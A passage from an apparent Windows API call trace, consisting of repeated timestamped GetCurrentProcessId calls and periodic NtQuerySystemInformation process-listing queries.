GetCurrentProcessId () returned 0x10c0 [0275.198] GetCurrentProcessId () returned 0x10c0 [0275.198] GetCurrentProcessId () returned 0x10c0 [0275.198] GetCurrentProcessId () returned 0x10c0 [0275.198] GetCurrentProcessId () returned 0x10c0 [0275.198] GetCurrentProcessId () returned 0x10c0 [0275.198] GetCurrentProcessId () returned 0x10c0 [0275.198] GetCurrentProcessId () returned 0x10c0 [0275.198] GetCurrentProcessId () returned 0x10c0 [0275.198] GetCurrentProcessId () returned 0x10c0 [0275.198] GetCurrentProcessId () returned 0x10c0 [0275.198] GetCurrentProcessId () returned 0x10c0 [0275.198] GetCurrentProcessId () returned 0x10c0 [0275.198] GetCurrentProcessId () returned 0x10c0 [0275.198] GetCurrentProcessId () returned 0x10c0 [0275.198] GetCurrentProcessId () returned 0x10c0 [0275.198] GetCurrentProcessId () returned 0x10c0 [0275.199] GetCurrentProcessId () returned 0x10c0 [0275.199] GetCurrentProcessId () returned 0x10c0 [0275.199] GetCurrentProcessId () returned 0x10c0 [0275.199] GetCurrentProcessId () returned 0x10c0 [0275.199] GetCurrentProcessId () returned 0x10c0 [0275.199] GetCurrentProcessId () returned 0x10c0 [0275.199] GetCurrentProcessId () returned 0x10c0 [0275.199] GetCurrentProcessId () returned 0x10c0 [0275.199] GetCurrentProcessId () returned 0x10c0 [0275.199] GetCurrentProcessId () returned 0x10c0 [0275.199] GetCurrentProcessId () returned 0x10c0 [0275.199] GetCurrentProcessId () returned 0x10c0 [0275.199] GetCurrentProcessId () returned 0x10c0 [0275.199] GetCurrentProcessId () returned 0x10c0 [0275.199] GetCurrentProcessId () returned 0x10c0 [0275.199] GetCurrentProcessId () returned 0x10c0 [0275.199] GetCurrentProcessId () returned 0x10c0 [0275.200] GetCurrentProcessId () returned 0x10c0 [0275.200] GetCurrentProcessId () returned 0x10c0 [0275.200] GetCurrentProcessId () returned 0x10c0 [0275.200] GetCurrentProcessId () returned 0x10c0 [0275.200] GetCurrentProcessId () returned 0x10c0 [0275.200] GetCurrentProcessId () returned 0x10c0 [0275.200] GetCurrentProcessId () returned 0x10c0 [0275.200] GetCurrentProcessId () returned 0x10c0 [0275.200] GetCurrentProcessId () returned 0x10c0 [0275.200] GetCurrentProcessId () returned 0x10c0 [0275.200] GetCurrentProcessId () returned 0x10c0 [0275.200] GetCurrentProcessId () returned 0x10c0 [0275.200] GetCurrentProcessId () returned 0x10c0 [0275.200] GetCurrentProcessId () returned 0x10c0 [0275.200] GetCurrentProcessId () returned 0x10c0 [0275.200] GetCurrentProcessId () returned 0x10c0 [0275.200] GetCurrentProcessId () returned 0x10c0 [0275.200] GetCurrentProcessId () returned 0x10c0 [0275.201] GetCurrentProcessId () returned 0x10c0 [0275.201] GetCurrentProcessId () returned 0x10c0 [0275.201] GetCurrentProcessId () returned 0x10c0 [0275.201] GetCurrentProcessId () returned 0x10c0 [0275.201] GetCurrentProcessId () returned 0x10c0 [0275.201] GetCurrentProcessId () returned 0x10c0 [0275.201] GetCurrentProcessId () returned 0x10c0 [0275.201] GetCurrentProcessId () returned 0x10c0 [0275.201] GetCurrentProcessId () returned 0x10c0 [0275.201] GetCurrentProcessId () returned 0x10c0 [0275.201] GetCurrentProcessId () returned 0x10c0 [0275.202] GetCurrentProcessId () returned 0x10c0 [0275.202] GetCurrentProcessId () returned 0x10c0 [0275.202] GetCurrentProcessId () returned 0x10c0 [0275.202] GetCurrentProcessId () returned 0x10c0 [0275.202] GetCurrentProcessId () returned 0x10c0 [0275.202] GetCurrentProcessId () returned 0x10c0 [0275.202] GetCurrentProcessId () returned 0x10c0 [0275.202] GetCurrentProcessId () returned 0x10c0 [0275.202] GetCurrentProcessId () returned 0x10c0 [0275.202] GetCurrentProcessId () returned 0x10c0 [0275.202] GetCurrentProcessId () returned 0x10c0 [0275.202] GetCurrentProcessId () returned 0x10c0 [0275.202] GetCurrentProcessId () returned 0x10c0 [0275.202] GetCurrentProcessId () returned 0x10c0 [0275.202] GetCurrentProcessId () returned 0x10c0 [0275.202] GetCurrentProcessId () returned 0x10c0 [0275.202] GetCurrentProcessId () returned 0x10c0 [0275.202] GetCurrentProcessId () returned 0x10c0 [0275.202] GetCurrentProcessId () returned 0x10c0 [0275.202] GetCurrentProcessId () returned 0x10c0 [0275.203] GetCurrentProcessId () returned 0x10c0 [0275.203] GetCurrentProcessId () returned 0x10c0 [0275.203] GetCurrentProcessId () returned 0x10c0 [0275.748] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1dc00) returned 0x0 [0275.764] GetCurrentProcessId () returned 0x10c0 [0275.764] GetCurrentProcessId () returned 0x10c0 [0275.764] GetCurrentProcessId () returned 0x10c0 [0275.764] GetCurrentProcessId () returned 0x10c0 [0275.764] GetCurrentProcessId () returned 0x10c0 [0275.764] GetCurrentProcessId () returned 0x10c0 [0275.764] GetCurrentProcessId () returned 0x10c0 [0275.764] GetCurrentProcessId () returned 0x10c0 [0275.764] GetCurrentProcessId () returned 0x10c0 [0275.764] GetCurrentProcessId () returned 0x10c0 [0275.764] GetCurrentProcessId () returned 0x10c0 [0275.764] GetCurrentProcessId () returned 0x10c0 [0275.764] GetCurrentProcessId () returned 0x10c0 [0275.764] GetCurrentProcessId () returned 0x10c0 [0275.764] GetCurrentProcessId () returned 0x10c0 [0275.764] GetCurrentProcessId () returned 0x10c0 [0275.764] GetCurrentProcessId () returned 0x10c0 [0275.764] GetCurrentProcessId () returned 0x10c0 [0275.764] GetCurrentProcessId () returned 0x10c0 [0275.764] GetCurrentProcessId () returned 0x10c0 [0275.765] GetCurrentProcessId () returned 0x10c0 [0275.765] GetCurrentProcessId () returned 0x10c0 [0275.765] GetCurrentProcessId () returned 0x10c0 [0275.765] GetCurrentProcessId () returned 0x10c0 [0275.765] GetCurrentProcessId () returned 0x10c0 [0275.765] GetCurrentProcessId () returned 0x10c0 [0275.765] GetCurrentProcessId () returned 0x10c0 [0275.765] GetCurrentProcessId () returned 0x10c0 [0275.765] GetCurrentProcessId () returned 0x10c0 [0275.765] GetCurrentProcessId () returned 0x10c0 [0275.765] GetCurrentProcessId () returned 0x10c0 [0275.765] GetCurrentProcessId () returned 0x10c0 [0275.765] GetCurrentProcessId () returned 0x10c0 [0275.765] GetCurrentProcessId () returned 0x10c0 [0275.765] GetCurrentProcessId () returned 0x10c0 [0275.765] GetCurrentProcessId () returned 0x10c0 [0275.765] GetCurrentProcessId () returned 0x10c0 [0275.765] GetCurrentProcessId () returned 0x10c0 [0275.765] GetCurrentProcessId () returned 0x10c0 [0275.765] GetCurrentProcessId () returned 0x10c0 [0275.765] GetCurrentProcessId () returned 0x10c0 [0275.765] GetCurrentProcessId () returned 0x10c0 [0275.765] GetCurrentProcessId () returned 0x10c0 [0275.765] GetCurrentProcessId () returned 0x10c0 [0275.765] GetCurrentProcessId () returned 0x10c0 [0275.765] GetCurrentProcessId () returned 0x10c0 [0275.765] GetCurrentProcessId () returned 0x10c0 [0275.765] GetCurrentProcessId () returned 0x10c0 [0275.765] GetCurrentProcessId () returned 0x10c0 [0275.765] GetCurrentProcessId () returned 0x10c0 [0275.765] GetCurrentProcessId () returned 0x10c0 [0275.765] GetCurrentProcessId () returned 0x10c0 [0275.765] GetCurrentProcessId () returned 0x10c0 [0275.765] GetCurrentProcessId () returned 0x10c0 [0275.766] GetCurrentProcessId () returned 0x10c0 [0275.766] GetCurrentProcessId () returned 0x10c0 [0275.766] GetCurrentProcessId () returned 0x10c0 [0275.766] GetCurrentProcessId () returned 0x10c0 [0275.766] GetCurrentProcessId () returned 0x10c0 [0275.766] GetCurrentProcessId () returned 0x10c0 [0275.766] GetCurrentProcessId () returned 0x10c0 [0275.766] GetCurrentProcessId () returned 0x10c0 [0275.766] GetCurrentProcessId () returned 0x10c0 [0275.766] GetCurrentProcessId () returned 0x10c0 [0275.766] GetCurrentProcessId () returned 0x10c0 [0275.766] GetCurrentProcessId () returned 0x10c0 [0275.766] GetCurrentProcessId () returned 0x10c0 [0275.766] GetCurrentProcessId () returned 0x10c0 [0275.766] GetCurrentProcessId () returned 0x10c0 [0275.766] GetCurrentProcessId () returned 0x10c0 [0275.766] GetCurrentProcessId () returned 0x10c0 [0275.766] GetCurrentProcessId () returned 0x10c0 [0275.766] GetCurrentProcessId () returned 0x10c0 [0275.766] GetCurrentProcessId () returned 0x10c0 [0275.766] GetCurrentProcessId () returned 0x10c0 [0275.766] GetCurrentProcessId () returned 0x10c0 [0275.766] GetCurrentProcessId () returned 0x10c0 [0275.766] GetCurrentProcessId () returned 0x10c0 [0275.766] GetCurrentProcessId () returned 0x10c0 [0275.766] GetCurrentProcessId () returned 0x10c0 [0275.766] GetCurrentProcessId () returned 0x10c0 [0275.766] GetCurrentProcessId () returned 0x10c0 [0275.766] GetCurrentProcessId () returned 0x10c0 [0275.767] GetCurrentProcessId () returned 0x10c0 [0275.767] GetCurrentProcessId () returned 0x10c0 [0275.767] GetCurrentProcessId () returned 0x10c0 [0275.767] GetCurrentProcessId () returned 0x10c0 [0275.767] GetCurrentProcessId () returned 0x10c0 [0275.767] GetCurrentProcessId () returned 0x10c0 [0275.767] GetCurrentProcessId () returned 0x10c0 [0275.767] GetCurrentProcessId () returned 0x10c0 [0275.767] GetCurrentProcessId () returned 0x10c0 [0275.767] GetCurrentProcessId () returned 0x10c0 [0275.767] GetCurrentProcessId () returned 0x10c0 [0275.767] GetCurrentProcessId () returned 0x10c0 [0275.767] GetCurrentProcessId () returned 0x10c0 [0275.767] GetCurrentProcessId () returned 0x10c0 [0275.767] GetCurrentProcessId () returned 0x10c0 [0275.767] GetCurrentProcessId () returned 0x10c0 [0275.767] GetCurrentProcessId () returned 0x10c0 [0275.767] GetCurrentProcessId () returned 0x10c0 [0275.767] GetCurrentProcessId () returned 0x10c0 [0275.767] GetCurrentProcessId () returned 0x10c0 [0275.767] GetCurrentProcessId () returned 0x10c0 [0275.767] GetCurrentProcessId () returned 0x10c0 [0275.767] GetCurrentProcessId () returned 0x10c0 [0275.767] GetCurrentProcessId () returned 0x10c0 [0275.767] GetCurrentProcessId () returned 0x10c0 [0275.767] GetCurrentProcessId () returned 0x10c0 [0275.767] GetCurrentProcessId () returned 0x10c0 [0275.767] GetCurrentProcessId () returned 0x10c0 [0275.767] GetCurrentProcessId () returned 0x10c0 [0276.342] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1dc00) returned 0x0 [0276.349] GetCurrentProcessId () returned 0x10c0 [0276.349] GetCurrentProcessId () returned 0x10c0 [0276.349] GetCurrentProcessId () returned 0x10c0 [0276.349] GetCurrentProcessId () returned 0x10c0 [0276.349] GetCurrentProcessId () returned 0x10c0 [0276.349] GetCurrentProcessId () returned 0x10c0 [0276.349] GetCurrentProcessId () returned 0x10c0 [0276.349] GetCurrentProcessId () returned 0x10c0 [0276.349] GetCurrentProcessId () returned 0x10c0 [0276.349] GetCurrentProcessId () returned 0x10c0 [0276.349] GetCurrentProcessId () returned 0x10c0 [0276.349] GetCurrentProcessId () returned 0x10c0 [0276.349] GetCurrentProcessId () returned 0x10c0 [0276.349] GetCurrentProcessId () returned 0x10c0 [0276.349] GetCurrentProcessId () returned 0x10c0 [0276.349] GetCurrentProcessId () returned 0x10c0 [0276.349] GetCurrentProcessId () returned 0x10c0 [0276.349] GetCurrentProcessId () returned 0x10c0 [0276.350] GetCurrentProcessId () returned 0x10c0 [0276.350] GetCurrentProcessId () returned 0x10c0 [0276.350] GetCurrentProcessId () returned 0x10c0 [0276.350] GetCurrentProcessId () returned 0x10c0 [0276.350] GetCurrentProcessId () returned 0x10c0 [0276.350] GetCurrentProcessId () returned 0x10c0 [0276.350] GetCurrentProcessId () returned 0x10c0 [0276.350] GetCurrentProcessId () returned 0x10c0 [0276.350] GetCurrentProcessId () returned 0x10c0 [0276.350] GetCurrentProcessId () returned 0x10c0 [0276.350] GetCurrentProcessId () returned 0x10c0 [0276.350] GetCurrentProcessId () returned 0x10c0 [0276.350] GetCurrentProcessId () returned 0x10c0 [0276.350] GetCurrentProcessId () returned 0x10c0 [0276.350] GetCurrentProcessId () returned 0x10c0 [0276.350] GetCurrentProcessId () returned 0x10c0 [0276.350] GetCurrentProcessId () returned 0x10c0 [0276.350] GetCurrentProcessId () returned 0x10c0 [0276.350] GetCurrentProcessId () returned 0x10c0 [0276.350] GetCurrentProcessId () returned 0x10c0 [0276.350] GetCurrentProcessId () returned 0x10c0 [0276.350] GetCurrentProcessId () returned 0x10c0 [0276.350] GetCurrentProcessId () returned 0x10c0 [0276.350] GetCurrentProcessId () returned 0x10c0 [0276.350] GetCurrentProcessId () returned 0x10c0 [0276.350] GetCurrentProcessId () returned 0x10c0 [0276.351] GetCurrentProcessId () returned 0x10c0 [0276.351] GetCurrentProcessId () returned 0x10c0 [0276.351] GetCurrentProcessId () returned 0x10c0 [0276.351] GetCurrentProcessId () returned 0x10c0 [0276.351] GetCurrentProcessId () returned 0x10c0 [0276.351] GetCurrentProcessId () returned 0x10c0 [0276.351] GetCurrentProcessId () returned 0x10c0 [0276.351] GetCurrentProcessId () returned 0x10c0 [0276.351] GetCurrentProcessId () returned 0x10c0 [0276.351] GetCurrentProcessId () returned 0x10c0 [0276.351] GetCurrentProcessId () returned 0x10c0 [0276.351] GetCurrentProcessId () returned 0x10c0 [0276.351] GetCurrentProcessId () returned 0x10c0 [0276.351] GetCurrentProcessId () returned 0x10c0 [0276.351] GetCurrentProcessId () returned 0x10c0 [0276.351] GetCurrentProcessId () returned 0x10c0 [0276.351] GetCurrentProcessId () returned 0x10c0 [0276.351] GetCurrentProcessId () returned 0x10c0 [0276.351] GetCurrentProcessId () returned 0x10c0 [0276.351] GetCurrentProcessId () returned 0x10c0 [0276.351] GetCurrentProcessId () returned 0x10c0 [0276.351] GetCurrentProcessId () returned 0x10c0 [0276.351] GetCurrentProcessId () returned 0x10c0 [0276.351] GetCurrentProcessId () returned 0x10c0 [0276.351] GetCurrentProcessId () returned 0x10c0 [0276.351] GetCurrentProcessId () returned 0x10c0 [0276.351] GetCurrentProcessId () returned 0x10c0 [0276.351] GetCurrentProcessId () returned 0x10c0 [0276.351] GetCurrentProcessId () returned 0x10c0 [0276.351] GetCurrentProcessId () returned 0x10c0 [0276.351] GetCurrentProcessId () returned 0x10c0 [0276.352] GetCurrentProcessId () returned 0x10c0 [0276.352] GetCurrentProcessId () returned 0x10c0 [0276.352] GetCurrentProcessId () returned 0x10c0 [0276.352] GetCurrentProcessId () returned 0x10c0 [0276.352] GetCurrentProcessId () returned 0x10c0 [0276.352] GetCurrentProcessId () returned 0x10c0 [0276.352] GetCurrentProcessId () returned 0x10c0 [0276.352] GetCurrentProcessId () returned 0x10c0 [0276.352] GetCurrentProcessId () returned 0x10c0 [0276.352] GetCurrentProcessId () returned 0x10c0 [0276.352] GetCurrentProcessId () returned 0x10c0 [0276.352] GetCurrentProcessId () returned 0x10c0 [0276.352] GetCurrentProcessId () returned 0x10c0 [0276.352] GetCurrentProcessId () returned 0x10c0 [0276.352] GetCurrentProcessId () returned 0x10c0 [0276.352] GetCurrentProcessId () returned 0x10c0 [0276.352] GetCurrentProcessId () returned 0x10c0 [0276.352] GetCurrentProcessId () returned 0x10c0 [0276.352] GetCurrentProcessId () returned 0x10c0 [0276.352] GetCurrentProcessId () returned 0x10c0 [0276.352] GetCurrentProcessId () returned 0x10c0 [0276.352] GetCurrentProcessId () returned 0x10c0 [0276.352] GetCurrentProcessId () returned 0x10c0 [0276.352] GetCurrentProcessId () returned 0x10c0 [0276.352] GetCurrentProcessId () returned 0x10c0 [0276.352] GetCurrentProcessId () returned 0x10c0 [0276.352] GetCurrentProcessId () returned 0x10c0 [0276.352] GetCurrentProcessId () returned 0x10c0 [0276.353] GetCurrentProcessId () returned 0x10c0 [0276.353] GetCurrentProcessId () returned 0x10c0 [0276.353] GetCurrentProcessId () returned 0x10c0 [0276.353] GetCurrentProcessId () returned 0x10c0 [0276.353] GetCurrentProcessId () returned 0x10c0 [0276.353] GetCurrentProcessId () returned 0x10c0 [0276.353] GetCurrentProcessId () returned 0x10c0 [0276.353] GetCurrentProcessId () returned 0x10c0 [0276.353] GetCurrentProcessId () returned 0x10c0 [0276.857] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1dc00) returned 0x0 [0276.860] GetCurrentProcessId () returned 0x10c0 [0276.860] GetCurrentProcessId () returned 0x10c0 [0276.860] GetCurrentProcessId () returned 0x10c0 [0276.860] GetCurrentProcessId () returned 0x10c0 [0276.860] GetCurrentProcessId () returned 0x10c0 [0276.860] GetCurrentProcessId () returned 0x10c0 [0276.860] GetCurrentProcessId () returned 0x10c0 [0276.860] GetCurrentProcessId () returned 0x10c0 [0276.860] GetCurrentProcessId () returned 0x10c0 [0276.860] GetCurrentProcessId () returned 0x10c0 [0276.860] GetCurrentProcessId () returned 0x10c0 [0276.860] GetCurrentProcessId () returned 0x10c0 [0276.860] GetCurrentProcessId () returned 0x10c0 [0276.860] GetCurrentProcessId () returned 0x10c0 [0276.860] GetCurrentProcessId () returned 0x10c0 [0276.860] GetCurrentProcessId () returned 0x10c0 [0276.860] GetCurrentProcessId () returned 0x10c0 [0276.860] GetCurrentProcessId () returned 0x10c0 [0276.861] GetCurrentProcessId () returned 0x10c0 [0276.861] GetCurrentProcessId () returned 0x10c0 [0276.861] GetCurrentProcessId () returned 0x10c0 [0276.861] GetCurrentProcessId () returned 0x10c0 [0276.861] GetCurrentProcessId () returned 0x10c0 [0276.861] GetCurrentProcessId () returned 0x10c0 [0276.861] GetCurrentProcessId () returned 0x10c0 [0276.861] GetCurrentProcessId () returned 0x10c0 [0276.861] GetCurrentProcessId () returned 0x10c0 [0276.861] GetCurrentProcessId () returned 0x10c0 [0276.861] GetCurrentProcessId () returned 0x10c0 [0276.861] GetCurrentProcessId () returned 0x10c0 [0276.861] GetCurrentProcessId () returned 0x10c0 [0276.861] GetCurrentProcessId () returned 0x10c0 [0276.861] GetCurrentProcessId () returned 0x10c0 [0276.861] GetCurrentProcessId () returned 0x10c0 [0276.861] GetCurrentProcessId () returned 0x10c0 [0276.861] GetCurrentProcessId () returned 0x10c0 [0276.861] GetCurrentProcessId () returned 0x10c0 [0276.861] GetCurrentProcessId () returned 0x10c0 [0276.861] GetCurrentProcessId () returned 0x10c0 [0276.862] GetCurrentProcessId () returned 0x10c0 [0276.862] GetCurrentProcessId () returned 0x10c0 [0276.862] GetCurrentProcessId () returned 0x10c0 [0276.862] GetCurrentProcessId () returned 0x10c0 [0276.862] GetCurrentProcessId () returned 0x10c0 [0276.862] GetCurrentProcessId () returned 0x10c0 [0276.862] GetCurrentProcessId () returned 0x10c0 [0276.862] GetCurrentProcessId () returned 0x10c0 [0276.862] GetCurrentProcessId () returned 0x10c0 [0276.862] GetCurrentProcessId () returned 0x10c0 [0276.862] GetCurrentProcessId () returned 0x10c0 [0276.862] GetCurrentProcessId () returned 0x10c0 [0276.862] GetCurrentProcessId () returned 0x10c0 [0276.862] GetCurrentProcessId () returned 0x10c0 [0276.862] GetCurrentProcessId () returned 0x10c0 [0276.862] GetCurrentProcessId () returned 0x10c0 [0276.862] GetCurrentProcessId () returned 0x10c0 [0276.862] GetCurrentProcessId () returned 0x10c0 [0276.862] GetCurrentProcessId () returned 0x10c0 [0276.862] GetCurrentProcessId () returned 0x10c0 [0276.862] GetCurrentProcessId () returned 0x10c0 [0276.862] GetCurrentProcessId () returned 0x10c0 [0276.863] GetCurrentProcessId () returned 0x10c0 [0276.863] GetCurrentProcessId () returned 0x10c0 [0276.863] GetCurrentProcessId () returned 0x10c0 [0276.863] GetCurrentProcessId () returned 0x10c0 [0276.863] GetCurrentProcessId () returned 0x10c0 [0276.863] GetCurrentProcessId () returned 0x10c0 [0276.863] GetCurrentProcessId () returned 0x10c0 [0276.863] GetCurrentProcessId () returned 0x10c0 [0276.863] GetCurrentProcessId () returned 0x10c0 [0276.863] GetCurrentProcessId () returned 0x10c0 [0276.863] GetCurrentProcessId () returned 0x10c0 [0276.863] GetCurrentProcessId () returned 0x10c0 [0276.863] GetCurrentProcessId () returned 0x10c0 [0276.863] GetCurrentProcessId () returned 0x10c0 [0276.863] GetCurrentProcessId () returned 0x10c0 [0276.863] GetCurrentProcessId () returned 0x10c0 [0276.863] GetCurrentProcessId () returned 0x10c0 [0276.863] GetCurrentProcessId () returned 0x10c0 [0276.863] GetCurrentProcessId () returned 0x10c0 [0276.863] GetCurrentProcessId () returned 0x10c0 [0276.864] GetCurrentProcessId () returned 0x10c0 [0276.864] GetCurrentProcessId () returned 0x10c0 [0276.864] GetCurrentProcessId () returned 0x10c0 [0276.864] GetCurrentProcessId () returned 0x10c0 [0276.864] GetCurrentProcessId () returned 0x10c0 [0276.864] GetCurrentProcessId () returned 0x10c0 [0276.864] GetCurrentProcessId () returned 0x10c0 [0276.864] GetCurrentProcessId () returned 0x10c0 [0276.864] GetCurrentProcessId () returned 0x10c0 [0276.864] GetCurrentProcessId () returned 0x10c0 [0276.864] GetCurrentProcessId () returned 0x10c0 [0276.864] GetCurrentProcessId () returned 0x10c0 [0276.864] GetCurrentProcessId () returned 0x10c0 [0276.864] GetCurrentProcessId () returned 0x10c0 [0276.864] GetCurrentProcessId () returned 0x10c0 [0276.864] GetCurrentProcessId () returned 0x10c0 [0276.864] GetCurrentProcessId () returned 0x10c0 [0276.864] GetCurrentProcessId () returned 0x10c0 [0276.864] GetCurrentProcessId () returned 0x10c0 [0276.864] GetCurrentProcessId () returned 0x10c0 [0276.864] GetCurrentProcessId () returned 0x10c0 [0276.865] GetCurrentProcessId () returned 0x10c0 [0276.865] GetCurrentProcessId () returned 0x10c0 [0276.865] GetCurrentProcessId () returned 0x10c0 [0276.865] GetCurrentProcessId () returned 0x10c0 [0276.865] GetCurrentProcessId () returned 0x10c0 [0276.865] GetCurrentProcessId () returned 0x10c0 [0276.865] GetCurrentProcessId () returned 0x10c0 [0276.865] GetCurrentProcessId () returned 0x10c0 [0276.865] GetCurrentProcessId () returned 0x10c0 [0276.865] GetCurrentProcessId () returned 0x10c0 [0277.456] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1de48) returned 0x0 [0277.463] GetCurrentProcessId () returned 0x10c0 [0277.463] GetCurrentProcessId () returned 0x10c0 [0277.463] GetCurrentProcessId () returned 0x10c0 [0277.463] GetCurrentProcessId () returned 0x10c0 [0277.463] GetCurrentProcessId () returned 0x10c0 [0277.463] GetCurrentProcessId () returned 0x10c0 [0277.463] GetCurrentProcessId () returned 0x10c0 [0277.463] GetCurrentProcessId () returned 0x10c0 [0277.463] GetCurrentProcessId () returned 0x10c0 [0277.463] GetCurrentProcessId () returned 0x10c0 [0277.463] GetCurrentProcessId () returned 0x10c0 [0277.463] GetCurrentProcessId () returned 0x10c0 [0277.463] GetCurrentProcessId () returned 0x10c0 [0277.463] GetCurrentProcessId () returned 0x10c0 [0277.463] GetCurrentProcessId () returned 0x10c0 [0277.463] GetCurrentProcessId () returned 0x10c0 [0277.463] GetCurrentProcessId () returned 0x10c0 [0277.463] GetCurrentProcessId () returned 0x10c0 [0277.463] GetCurrentProcessId () returned 0x10c0 [0277.463] GetCurrentProcessId () returned 0x10c0 [0277.463] GetCurrentProcessId () returned 0x10c0 [0277.463] GetCurrentProcessId () returned 0x10c0 [0277.463] GetCurrentProcessId () returned 0x10c0 [0277.463] GetCurrentProcessId () returned 0x10c0 [0277.464] GetCurrentProcessId () returned 0x10c0 [0277.464] GetCurrentProcessId () returned 0x10c0 [0277.464] GetCurrentProcessId () returned 0x10c0 [0277.464] GetCurrentProcessId () returned 0x10c0 [0277.464] GetCurrentProcessId () returned 0x10c0 [0277.464] GetCurrentProcessId () returned 0x10c0 [0277.464] GetCurrentProcessId () returned 0x10c0 [0277.464] GetCurrentProcessId () returned 0x10c0 [0277.464] GetCurrentProcessId () returned 0x10c0 [0277.464] GetCurrentProcessId () returned 0x10c0 [0277.464] GetCurrentProcessId () returned 0x10c0 [0277.464] GetCurrentProcessId () returned 0x10c0 [0277.464] GetCurrentProcessId () returned 0x10c0 [0277.464] GetCurrentProcessId () returned 0x10c0 [0277.464] GetCurrentProcessId () returned 0x10c0 [0277.464] GetCurrentProcessId () returned 0x10c0 [0277.464] GetCurrentProcessId () returned 0x10c0 [0277.464] GetCurrentProcessId () returned 0x10c0 [0277.464] GetCurrentProcessId () returned 0x10c0 [0277.464] GetCurrentProcessId () returned 0x10c0 [0277.464] GetCurrentProcessId () returned 0x10c0 [0277.464] GetCurrentProcessId () returned 0x10c0 [0277.464] GetCurrentProcessId () returned 0x10c0 [0277.464] GetCurrentProcessId () returned 0x10c0 [0277.464] GetCurrentProcessId () returned 0x10c0 [0277.464] GetCurrentProcessId () returned 0x10c0 [0277.464] GetCurrentProcessId () returned 0x10c0 [0277.465] GetCurrentProcessId () returned 0x10c0 [0277.465] GetCurrentProcessId () returned 0x10c0 [0277.465] GetCurrentProcessId () returned 0x10c0 [0277.465] GetCurrentProcessId () returned 0x10c0 [0277.465] GetCurrentProcessId () returned 0x10c0 [0277.465] GetCurrentProcessId () returned 0x10c0 [0277.465] GetCurrentProcessId () returned 0x10c0 [0277.465] GetCurrentProcessId () returned 0x10c0 [0277.465] GetCurrentProcessId () returned 0x10c0 [0277.465] GetCurrentProcessId () returned 0x10c0 [0277.465] GetCurrentProcessId () returned 0x10c0 [0277.465] GetCurrentProcessId () returned 0x10c0 [0277.465] GetCurrentProcessId () returned 0x10c0 [0277.465] GetCurrentProcessId () returned 0x10c0 [0277.465] GetCurrentProcessId () returned 0x10c0 [0277.465] GetCurrentProcessId () returned 0x10c0 [0277.465] GetCurrentProcessId () returned 0x10c0 [0277.465] GetCurrentProcessId () returned 0x10c0 [0277.465] GetCurrentProcessId () returned 0x10c0 [0277.465] GetCurrentProcessId () returned 0x10c0 [0277.465] GetCurrentProcessId () returned 0x10c0 [0277.465] GetCurrentProcessId () returned 0x10c0 [0277.465] GetCurrentProcessId () returned 0x10c0 [0277.465] GetCurrentProcessId () returned 0x10c0 [0277.465] GetCurrentProcessId () returned 0x10c0 [0277.465] GetCurrentProcessId () returned 0x10c0 [0277.465] GetCurrentProcessId () returned 0x10c0 [0277.466] GetCurrentProcessId () returned 0x10c0 [0277.466] GetCurrentProcessId () returned 0x10c0 [0277.466] GetCurrentProcessId () returned 0x10c0 [0277.466] GetCurrentProcessId () returned 0x10c0 [0277.466] GetCurrentProcessId () returned 0x10c0 [0277.466] GetCurrentProcessId () returned 0x10c0 [0277.466] GetCurrentProcessId () returned 0x10c0 [0277.466] GetCurrentProcessId () returned 0x10c0 [0277.466] GetCurrentProcessId () returned 0x10c0 [0277.466] GetCurrentProcessId () returned 0x10c0 [0277.466] GetCurrentProcessId () returned 0x10c0 [0277.466] GetCurrentProcessId () returned 0x10c0 [0277.466] GetCurrentProcessId () returned 0x10c0 [0277.466] GetCurrentProcessId () returned 0x10c0 [0277.466] GetCurrentProcessId () returned 0x10c0 [0277.466] GetCurrentProcessId () returned 0x10c0 [0277.466] GetCurrentProcessId () returned 0x10c0 [0277.466] GetCurrentProcessId () returned 0x10c0 [0277.466] GetCurrentProcessId () returned 0x10c0 [0277.466] GetCurrentProcessId () returned 0x10c0 [0277.467] GetCurrentProcessId () returned 0x10c0 [0277.467] GetCurrentProcessId () returned 0x10c0 [0277.467] GetCurrentProcessId () returned 0x10c0 [0277.467] GetCurrentProcessId () returned 0x10c0 [0277.467] GetCurrentProcessId () returned 0x10c0 [0277.467] GetCurrentProcessId () returned 0x10c0 [0277.467] GetCurrentProcessId () returned 0x10c0 [0277.467] GetCurrentProcessId () returned 0x10c0 [0277.467] GetCurrentProcessId () returned 0x10c0 [0277.467] GetCurrentProcessId () returned 0x10c0 [0277.467] GetCurrentProcessId () returned 0x10c0 [0277.467] GetCurrentProcessId () returned 0x10c0 [0277.467] GetCurrentProcessId () returned 0x10c0 [0277.467] GetCurrentProcessId () returned 0x10c0 [0277.467] GetCurrentProcessId () returned 0x10c0 [0278.060] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1de48) returned 0x0 [0278.077] GetCurrentProcessId () returned 0x10c0 [0278.078] GetCurrentProcessId () returned 0x10c0 [0278.078] GetCurrentProcessId () returned 0x10c0 [0278.078] GetCurrentProcessId () returned 0x10c0 [0278.078] GetCurrentProcessId () returned 0x10c0 [0278.078] GetCurrentProcessId () returned 0x10c0 [0278.078] GetCurrentProcessId () returned 0x10c0 [0278.078] GetCurrentProcessId () returned 0x10c0 [0278.078] GetCurrentProcessId () returned 0x10c0 [0278.078] GetCurrentProcessId () returned 0x10c0 [0278.078] GetCurrentProcessId () returned 0x10c0 [0278.078] GetCurrentProcessId () returned 0x10c0 [0278.078] GetCurrentProcessId () returned 0x10c0 [0278.078] GetCurrentProcessId () returned 0x10c0 [0278.078] GetCurrentProcessId () returned 0x10c0 [0278.078] GetCurrentProcessId () returned 0x10c0 [0278.078] GetCurrentProcessId () returned 0x10c0 [0278.078] GetCurrentProcessId () returned 0x10c0 [0278.078] GetCurrentProcessId () returned 0x10c0 [0278.078] GetCurrentProcessId () 